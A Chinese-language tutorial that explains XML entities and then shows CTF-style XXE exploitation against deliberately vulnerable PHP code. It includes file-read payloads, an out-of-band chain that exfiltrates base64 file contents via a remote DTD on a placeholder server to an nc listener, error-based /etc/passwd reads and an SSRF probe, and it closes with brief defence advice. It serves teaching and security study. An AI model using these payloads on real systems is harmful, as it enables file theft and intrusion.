深入理解XXE漏洞
XXE漏洞相关概念
XXE (XML External Entity Injection) 全称为 XML 外部实体注入,是一种发生于XML解析时的漏洞。由于解析引擎并未对XML外部实体加以限制,导致了攻击者可以用过注入恶意代码到XML中,致使服务器加载恶意的外部实体引发文件读取、SSRF、命令执行、拒绝服务等有危害的操作
如果你对以上概念都不太了解,看完你可能跟没看一样,所以,我们先来一一了解这些都是个啥。
what is XML
XML(Extensible Markup Language)是一种广泛使用的标记语言。http原始的body是缺乏层级关系的, 这样不利于一些特定数据的床书。而xml的格式能够形成有逻辑的树状结构,因此得到了许多应用。
当http request的content-type设置为text/xml 或 application/xml时,xml可以直接放在body进行传输,只要服务端能够有效的进行解析即可。但是有一点容易被忽略,XML是可扩展的,这个扩展性除了体现在标签命名以及属性的多样性之外,重要的一点就是外部实体,所谓的外部实体就是指XML文档本身以外需要加载的资源,这其中就包括了服务器本地文件和远程文件, 如果处理不当外部实体可以被用来发起多种攻击,包括泄露本地系统文件(可能含有密码和私人数据等敏感信息),或利用不同协议的网络访问功能来操纵内部应用程序。
XML格式规范
XML 文档有自己的一个格式规范,这个格式规范是由一个叫做 DTD(document type definition) 的东西控制的
DTD定义示例代码
<?xml version="1.0"?> //这是XML声明,并指定了XML的版本,用来告诉解析器这是一个XML文档。
<!DOCTYPE message [ //这是DTD(文档类型定义),定义了一个message以及它的组成部分
<!ELEMENT message (receiver ,sender ,header ,msg)> //定义了message的元素结构,包含四个子元素
<!ELEMENT receiver (#PCDATA)> // 子元素,#PCDATA意味着这个元素包含可解析的字符数据,即普通文本
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>
综上所述,这个XML文档的结构定义了一个名为message
的元素,它由四个包含文本的子元素构成:接收者(receiver
)、发送者(sender
)、头部(header
)和消息内容(msg
)。这种结构常用于定义消息或邮件格式的XML文档。那么xml就得按照这个定义好的格式去写。
XML定义示例代码
<message>
<receiver>Myself</receiver>
<sender>Someone</sender>
<header>TheReminder</header>
<msg>This is an amazing book</msg>
</message>
除了在DTD中定义元素(xml标签)以外,我们还可以在DTD中定义实体(xml标签中的内容),为什么要先定义好实体呢?比如我们文档中有重复的内容,那么就可以定义为实体,在多个标签中引用即可
DTD中定义实体示例
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "SomeValue" >]>
我们定义元素foo为 ANY , ANY
关键字表示元素 foo
可以包含任何类型的内容:元素、字符数据、混合内容,或者甚至是空内容。定义了一个 xml 的实体(实体其实可以看成一个变量,到时候我们可以在 XML 中通过 & 符号进行引用),那么 XML 就可以写成这样
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
在这个 XML 文档中,当解析器遇到 &xxe;
时,它将用 “SomeValue” 替换这个实体。在实际应用中,这个值可以是任何适合的字符串。
XML引用外部实体
上面我们已经看到了,我们可以直接在XML文档中定义实体
<!ENTITY xxe "SomeValue" >]>
, 其实实体也可以从外部的DTD文件中引用格式为:
<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>
一般实体
用 &实体名; 引用的实体,在DTD 中定义,在 XML 文档中引用
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/local.dtd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
然后我们创建 c:/local.dtd
文件来定义 xxe
即可
<!ENTITY xxe "SomeValue">
参数实体
使用
% 实体名
定义(这里面空格不能少), 在DTD中使用的时候,使用%实体名
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>">
<!ENTITY % remote-dtd SYSTEM "http://example.com/remote.dtd">
%an-element;
%remote-dtd;
]>
<root>
<mytag>
<subtag>text</subtag>
</mytag>
</root>
XXE漏洞利用
一、有回显的情况
直接通过回显读取本地文件
题目
<?php
// 禁用外部实体的加载。在这里,它被设置为false,意味着外部实体加载是允许的。
// 这是一个潜在的安全风险,可能导致XXE攻击。
libxml_disable_entity_loader(false);
// 从HTTP请求体中读取XML数据。
// 'php://input'是一个只读流,允许原始的POST数据被读取。
$xmlfile = file_get_contents('php://input');
// 检查是否收到了XML数据。
if(isset($xmlfile)){
// 创建一个新的DOMDocument对象。
$dom = new DOMDocument();
// 加载XML数据,LIBXML_NOENT用于替换实体,LIBXML_DTDLOAD用于加载DTD。
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
// 将DOMDocument对象转换为SimpleXMLElement对象。
$creds = simplexml_import_dom($dom);
// 从转换后的对象中读取<ctfshow>元素的内容。
$ctfshow = $creds->ctfshow;
// 输出<ctfshow>元素的内容。
echo $ctfshow;
}
payload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///flag" >
]>
<creds>
<ctfshow>&xxe;</ctfshow></creds>
通过Bp发包: POST请求
二、无回显的情况
上一个案例我们实践了文件读取的一般场景,但是勿回显的情况下需要利用一些技巧将读取的文件“带出”
题目
<?php
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
// 加载接收到的XML数据。
// LIBXML_NOENT:替换XML实体为它们所代表的值。
// LIBXML_DTDLOAD:加载外部子集DTD。
// 这个配置的组合使得XML解析器能够处理外部实体,增加XXE攻击的风险。
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
payload准备
我们可以看到源码没有echo了,那我们就需要把数据 ‘带出’
Payload可以分为两部分,一部分是XML,他只需要去加载我们远程的DTD文件,然后真正的获取文件的payload都写在DTD文件中
Bp中请求body为xml部分 (vps_ip为你存放DTD文件的服务器IP)
<!DOCTYPE test[
<!ENTITY % remote SYSTEM "http://vps_ip:8000/test.dtd">
%remote;
]>
准备DTD文件在你的远程服务器
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd "<!ENTITY % xxe SYSTEM 'http://vps_ip:5555/%file;'> ">
%dtd;
%xxe;
准备完文件我们还需要外部能访问到我们的dtd文件,我们使用python启动一个http服务,监听8000端口
python3 -m http.server 8000
准备一个数据接收的服务, 我们可以使用nc监听上面dtd文件中定义好的 5555
端口
nc -lvvnp 5555
准备全部就绪之后,bp发送请求
python收到请求
NC收到数据
解密数据
基于错误回显的XXE利用
如果服务器有防火墙,组织了对外建立连接,那我们就需要错误回显,如果服务器开了报错的话
XML内部DTD报错回显payload
这个方法不一定每次都奏效,得看目标服务器具体环境,可以作为一个备选项 [来源P神]
<?xml version="1.0" ?>
<!DOCTYPE message [
<!-- 定义一个名为 %condition 的参数实体 -->
<!ENTITY % condition '
<!-- 在 %condition 实体内定义另一个参数实体 %file,指向服务器上的 /etc/passwd 文件 -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!-- 在 %condition 实体内定义 %eval 实体,该实体定义了名为 %error 的新实体 -->
<!-- %error 实体尝试加载由 %file 构造的不存在的文件路径,此处 %file 代表 /etc/passwd -->
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
<!-- 执行 %eval 实体,导致定义 %error 实体 -->
%eval;
<!-- 使用 %error 实体,预期会导致解析器尝试访问一个不存在的文件路径 -->
<!-- 并在错误信息中包含实际尝试访问的 /etc/passwd 文件 -->
%error;
'>
<!-- 触发 %condition 实体 -->
%condition;
]>
<message>any text</message>
XML加载本地DTD报错回显payload
这个办法你首先得找到一个目标服务器上已存在的dtd文件
比如有些linux系统中存在:
/usr/share/yelp/dtd/docbookx.dtd
这个文件
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % condition 'aaa)>
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
<!ENTITY aa (bb'>
'>
%local_dtd;
]>
<message>any text</message>
通过加载远程DTD报错回显payload
XML文件如下所示
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://example.com/remote.dtd">
<!ENTITY % aaa SYSTEM "file:///etc/passwd">
%remote;
%bbb;
%ccc;
]
远程DTD文件如下所示
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % ent "<!ENTITY date SYSTEM ':%file;'> ">
XXE 之 SSRF
SSRF端口探测示例
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY ssrf SYSTEM "http://127.0.0.1:80">
]>
<x>&ssrf;</x>
XXE 之 通过Office攻击
具体可以参见博客之前的一篇文章 《 flag{网鼎杯之java代码审计入门} 》
XXE漏洞防御
综上所述我们知道XML外部实体注入主要原因就是引入了外部实体,所以防御的时候我们可以通过禁用外部实体的方式来增加防御能力
同时也要静止任何形式的引入外部实体,比如上面说的通过Office文件引入了外部实体,最好是采用白名单的实行来进行过滤,并且对可能存在外部实体引入的压缩文件也要进行解压之后对每个文件进行校验来防御XXE攻击